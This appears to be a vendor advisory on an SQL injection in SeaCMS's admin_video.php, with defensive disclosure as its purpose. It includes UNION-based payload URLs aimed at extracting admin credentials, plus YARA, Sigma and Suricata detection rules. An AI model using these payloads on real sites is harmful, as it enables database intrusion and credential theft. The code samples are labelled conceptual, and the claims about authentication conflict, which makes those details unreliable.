CVE-2025-15003

Executive Summary

CVE-2025-15003 is a publicly disclosed SQL injection vulnerability in SeaCMS up to version 13.3. The flaw resides in the admin_video.php file, specifically within an unknown function that processes the e_id argument. An attacker can exploit this remotely without authentication, leading to potential data exfiltration or manipulation of the database. The CVSS score is 4.7 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of the exploit increases risk. No official patch has been released, and no supply chain package is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The attack is easy to execute, but the impact is limited to partial data access or modification. However, in a CMS context, this could lead to admin credential theft or content defacement.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the admin_video.php script. The e_id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject malicious SQL commands via the e_id parameter in a GET or POST request.

Example vulnerable code snippet (conceptual):

$id = $_GET['e_id'];
$sql = "SELECT * FROM videos WHERE id = $id";
$result = mysqli_query($conn, $sql);

The attacker can manipulate the e_id value to break out of the query context, e.g., 1 OR 1=1 or 1 UNION SELECT .... Since the admin panel may be accessible without authentication (depending on configuration), this can be exploited directly.

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS <= 13.3):

// admin_video.php
$e_id = $_REQUEST['e_id'];
$query = "DELETE FROM `sea_video` WHERE `id` = $e_id";
$db->query($query);

Patched Code (Hypothetical):

// admin_video.php
$e_id = intval($_REQUEST['e_id']);
$query = "DELETE FROM `sea_video` WHERE `id` = $e_id";
$db->query($query);

Or using prepared statements:

$stmt = $db->prepare("DELETE FROM `sea_video` WHERE `id` = ?");
$stmt->bind_param("i", $e_id);
$stmt->execute();

No official patch has been released; the above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• SeaCMS version 13.3 or earlier installed.
• Access to the admin panel (e.g., http://target.com/admin/admin_video.php).

Exploit Steps:

1. Identify the vulnerable endpoint: http://target.com/admin/admin_video.php?e_id=1.
2. Test for injection: http://target.com/admin/admin_video.php?e_id=1' – look for SQL errors.
3. Extract data using UNION-based injection:

   http://target.com/admin/admin_video.php?e_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

4. Enumerate database tables and columns, then extract admin credentials.

Example payload to retrieve admin username and password:

http://target.com/admin/admin_video.php?e_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM sea_admin--

Blue Team

Detection:

• Monitor HTTP requests to /admin/admin_video.php with unusual e_id parameters (e.g., containing SQL keywords like UNION, SELECT, OR, AND, quotes, or comments).
• Look for error messages in logs indicating SQL syntax errors.
• Use WAF rules to block SQL injection patterns.

Hunting:

• Search web server logs for requests to admin_video.php with e_id containing ', --, UNION, SELECT, OR, AND, etc.
• Correlate with database error logs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin/admin_video.php with e_id parameter containing SQL injection patterns.
  • Example: GET /admin/admin_video.php?e_id=1%27%20OR%20%271%27=%271
• File:
  • Modified or new files in the SeaCMS installation directory (e.g., webshells).
• Database:
  • Unauthorized queries in database logs.
  • New admin users or modified content.

Detection Engineering

YARA Rule

rule CVE_2025_15003_SeaCMS_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting SeaCMS admin_video.php e_id parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15003"
    strings:
        $sqli1 = "e_id=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR" nocase
        $sqli5 = "'" nocase
        $sqli6 = "--" nocase
    condition:
        $sqli1 and (any of ($sqli2, $sqli3, $sqli4, $sqli5, $sqli6))
}

Sigma Rule

title: CVE-2025-15003 SeaCMS SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against SeaCMS admin_video.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/admin_video.php'
        cs-uri-query|contains: 'e_id='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15003 SeaCMS SQL Injection Attempt"; flow:to_server,established; content:"/admin/admin_video.php"; http_uri; content:"e_id="; http_uri; pcre:"/(UNION|SELECT|OR|AND|'|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or restrict access to admin_video.php until a patch is applied. Use IP whitelisting or VPN for admin access.
2. Code Fix: Sanitize the e_id parameter by casting to integer or using prepared statements. Example:

   $e_id = intval($_REQUEST['e_id']);
   

3. WAF Rules: Deploy web application firewall rules to block SQL injection patterns.
4. Upgrade: Monitor SeaCMS official channels for a patched version. If none, consider migrating to a supported CMS.
5. Monitoring: Enable detailed logging for admin panel access and database queries.

Valters IT – Securing Digital Frontiers